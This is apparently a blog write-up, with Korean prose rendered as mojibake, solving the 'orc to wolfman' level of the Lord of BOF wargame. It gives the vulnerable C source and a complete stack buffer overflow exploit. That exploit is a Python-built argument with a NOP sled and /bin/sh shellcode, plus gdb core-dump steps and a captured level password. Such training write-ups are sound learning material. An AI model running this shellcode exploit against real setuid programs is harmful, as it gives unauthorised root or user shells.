wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of BOF

5. orc → wolfman

Kortsec1 2019. 5. 2. 17:41

์ผ๋‹จ ์–ด๋””์–ด๋””๊ฐ€ ๋‹ฌ๋ผ์กŒ์„์ง€ ์ฝ”๋“œ๋ฅผ ๋ณผ๊นŒ์š”

 

[orc@localhost orc]$ cat -n wolfman.c 
     1	/*
     2	        The Lord of the BOF : The Fellowship of the BOF
     3	        - wolfman
     4	        - egghunter + buffer hunter
     5	*/
     6	
     7	#include <stdio.h>
     8	#include <stdlib.h>
     9	
    10	extern char **environ;
    11	
    12	main(int argc, char *argv[])
    13	{
    14		char buffer[40];
    15		int i;
    16	
    17		if(argc < 2){
    18			printf("argv error\n");
    19			exit(0);
    20		}
    21	
    22		// egghunter 
    23		for(i=0; environ[i]; i++)
    24			memset(environ[i], 0, strlen(environ[i]));
    25	
    26		if(argv[1][47] != '\xbf')
    27		{
    28			printf("stack is still your friend.\n");
    29			exit(0);
    30		}
    31		strcpy(buffer, argv[1]); 
    32		printf("%s\n", buffer);
    33	
    34	        // buffer hunter
    35	        memset(buffer, 0, 40);
    36	}

egghunter์™€ buffer hunter๋ฅผ ์ด์šฉํ•˜์—ฌ ํ™˜๊ฒฝ๋ณ€์ˆ˜์™€ buffer ๋ณ€์ˆ˜๋ฅผ ์ด์šฉํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ํ•˜๋Š” ๋ชจ์Šต์„ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋ ‡๋‹ค๋ฉด ์ฒ˜์Œ argv์˜ ์œ„์น˜๋ฅผ ์ด์šฉํ•˜์—ฌ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๊ฒ ๋„ค์š”.

 

 

 

ํ”„๋กœ๊ทธ๋žจ ์‹คํ–‰์‹œ์— argv๊ฐ€ ์–ด๋–ค์‹์œผ๋กœ ์œ„์น˜ํ•˜๊ณ  ์ž‘๋™ํ•˜๋Š”์ง€๋Š” LOB 2. gremlinํฌ์ŠคํŠธ๋ฅผ ํ™•์ธํ•ด ์ฃผ์‹œ๊ธฐ ๋ฐ”๋ž๋‹ˆ๋‹ค.

2018/07/23 - [wargame write-up/Lord of BOF] - 2. gremlin => cobolt

 

2. gremlin => cobolt

id : gremlin pw : hello bof world ๋จผ์ € ์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค. [gremlin@localhost gremlin]$ cat cobolt.c /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int arg..

kortsec1n4mationm.tistory.com

 

 

๋จผ์ € coreํŒŒ์ผ์„ ์ƒ์„ฑํ•ด ์ฃผ๊ณ 

[orc@localhost orc]$ ./test `python -c 'print "A"*44 + "\xbf\xbf\xbf\xbf" + "\x90" * 100 + 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd
\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¿¿¿¿1๓ฟฟh//shh/binโ“แ™ฐ
                                                              อ€ 
Segmentation fault (core dumped)

 

coreํŒŒ์ผ ๋‚ด์— \x90์žˆ๋Š” ์•„๋ฌด ์œ„์น˜๋ฅผ ํ™•์ธํ•ด ์ค๋‹ˆ๋‹ค.

[orc@localhost orc]$ gdb -c core
#0  0xbfbfbfbf in ?? ()
(gdb) 
(gdb) 
(gdb) x/50wx $esp
0xbffffa90:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaa0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffab0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffac0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffad0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffae0:	0x90909090	0x90909090	0x90909090	0x90909090
0xbffffaf0:	0x90909090	0x6850c031	0x68732f2f	0x69622f68
0xbffffb00:	0x50e3896e	0x99e18953	0x80cd0bb0	0xbfffff00
0xbffffb10:	0xbfffff38	0xbfffff44	0xbfffff4c	0xbfffff56
0xbffffb20:	0xbfffff66	0xbfffff74	0xbfffff82	0xbfffff93
0xbffffb30:	0xbfffff9e	0xbfffffad	0xbfffffec	0x00000000
0xbffffb40:	0x00000003	0x08048034	0x00000004	0x00000020
0xbffffb50:	0x00000005	0x00000006

 

0xbfffab0์ด ์ข‹๊ฒ ๋„ค์š”

[orc@localhost orc]$ ./test `python -c 'print "A"*44 + "\xb0\xfa\xff\xbf" + "\x90" * 100 +
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd
\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°๓ฟ1๓ฟฟh//shh/binโ“แ™ฐ
                                                            อ€ 
bash$ 

์‰˜์ด ์„ฑ๊ณต์ ์œผ๋กœ ๋”ฐ์ง€๋„ค์š”

๊ทธ๋Ÿผ test๋Œ€์‹ ์— wolfman์„ ์‹คํ–‰์‹œ์ผœ ๋ด…์‹œ๋‹ค

[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44 + "\xb0\xfa\xff\xbf" + "\x90" * 100 + 
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd
\x80"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA°๓ฟ1๓ฟฟh//shh/binโ“แ™ฐ
                                                            อ€ 
bash$ my-pass
euid = 505
love eyuna
bash$ 

 

์„ฑ๊ณต์ ์œผ๋กœ ์‰˜์ด ๋”ฐ์ง€๋Š”๊ฑธ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of BOF' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

7. darkelf โ†’ orge  (0) 2020.12.13
6. wolfman โ†’ darkelf  (0) 2019.05.02
4. goblin โ†’ orc  (0) 2018.07.26
3. cobolt โ†’ goblin  (0) 2018.07.25